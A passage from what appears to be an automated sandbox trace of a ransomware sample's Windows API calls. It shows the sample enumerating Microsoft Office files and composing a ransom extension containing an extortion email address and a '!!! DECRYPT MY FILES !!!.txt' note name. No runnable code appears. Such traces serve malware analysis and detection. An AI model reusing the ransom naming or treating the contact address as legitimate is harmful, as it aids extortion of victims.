MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.509] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.509] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.509] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.509] GetProcessHeap () returned 0x630000 [0120.509] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1c4) returned 0x66a3e0 [0120.509] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP5E1E~1.XML")) returned 1 [0120.509] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 1 [0120.509] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml") returned 0x68 [0120.509] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.509] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.509] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.509] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.510] GetProcessHeap () returned 0x630000 [0120.510] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1c8) returned 0x66a3e0 [0120.510] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83485006, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83485006, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834ab261, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x80e56, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~3.XML")) returned 1 [0120.510] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 1 [0120.510] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml") returned 0x68 [0120.510] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.510] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.510] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.510] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.510] GetProcessHeap () returned 0x630000 [0120.510] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1cc) returned 0x66a3e0 [0120.510] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml", cAlternateFileName="APE0B7~1.XML")) returned 1 [0120.511] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 1 [0120.511] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml") returned 0x68 [0120.511] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.511] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.511] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.511] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.511] GetProcessHeap () returned 0x630000 [0120.511] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1d0) returned 0x66a3e0 [0120.511] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP8BF9~1.XML")) returned 1 [0120.511] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 1 [0120.511] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml") returned 0x68 [0120.511] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.511] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.512] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.512] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.512] GetProcessHeap () returned 0x630000 [0120.512] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1d4) returned 0x66a3e0 [0120.512] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834f7581, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834f7581, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x212876, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.common.xml", cAlternateFileName="AP3FD6~1.XML")) returned 1 [0120.512] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml", len=0x4a | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 1 [0120.512] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml", cchLength=0x4a | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml") returned 0x4a [0120.512] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.512] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.512] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.512] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.512] GetProcessHeap () returned 0x630000 [0120.512] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1d8) returned 0x66a3e0 [0120.513] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2667, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifestLoc.en-us.xml", cAlternateFileName="AP942B~1.XML")) returned 1 [0120.513] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml", len=0x4c | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 1 [0120.513] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml", cchLength=0x4c | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml") returned 0x4c [0120.513] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.513] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.513] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.513] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.513] GetProcessHeap () returned 0x630000 [0120.513] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1dc) returned 0x66a3e0 [0120.513] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x175, dwReserved0=0x0, dwReserved1=0x0, cFileName="AuthoredExtensions.xml", cAlternateFileName="AUTHOR~1.XML")) returned 1 [0122.014] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml", len=0x49 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 1 [0122.014] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml", cchLength=0x49 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml") returned 0x49 [0122.014] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0122.014] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0122.014] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0122.014] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0123.378] GetProcessHeap () returned 0x630000 [0123.378] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x164) returned 0x66a3e0 [0123.378] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0124.759] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0124.801] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0124.802] SysReAllocStringLen (in: pbstr=0x6ebf0d8*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\", len=0x27 | out: pbstr=0x6ebf0d8*="C:\\Program Files\\Microsoft Office\\root\\") returned 1 [0124.802] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\", cchLength=0x27 | out: lpsz="c:\\program files\\microsoft office\\root\\") returned 0x27 [0124.802] SysReAllocStringLen (in: pbstr=0x6ebf080*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf080*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0124.802] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0124.802] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\*.*", lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5500 [0124.802] FindNextFileW (in: hFindFile=0x6d5500, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.802] FindNextFileW (in: hFindFile=0x6d5500, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2ca2e08, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="client", cAlternateFileName="")) returned 1 [0124.802] SysReAllocStringLen (in: pbstr=0x6ebee10*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\client\\", len=0x2e | out: pbstr=0x6ebee10*="C:\\Program Files\\Microsoft Office\\root\\client\\") returned 1 [0124.802] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\client\\", cchLength=0x2e | out: lpsz="c:\\program files\\microsoft office\\root\\client\\") returned 0x2e [0124.803] SysReAllocStringLen (in: pbstr=0x6ebedb8*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebedb8*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0124.803] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0124.803] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\*.*", lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2ca2e08, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4e40 [0124.805] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2ca2e08, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.806] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0715cb9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0715cb9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0952017, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="API-MS~1.DLL")) returned 1 [0124.806] SysReAllocStringLen (in: pbstr=0x6ebee08*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll", len=0x4d | out: pbstr=0x6ebee08*="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 1 [0124.806] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll", cchLength=0x4d | out: lpsz="c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 0x4d [0124.806] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.806] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0124.806] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0124.806] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0124.806] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0952017, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0952017, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0a832cb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="API-MS~3.DLL")) returned 1 [0124.806] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll", psz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll", len=0x4d | out: pbstr=0x6ebee08*="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 1 [0124.807] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll", cchLength=0x4d | out: lpsz="c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 0x4d [0124.807] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.807] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0124.807] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0124.807] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0124.807] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd089348e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd089348e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd09c4608, 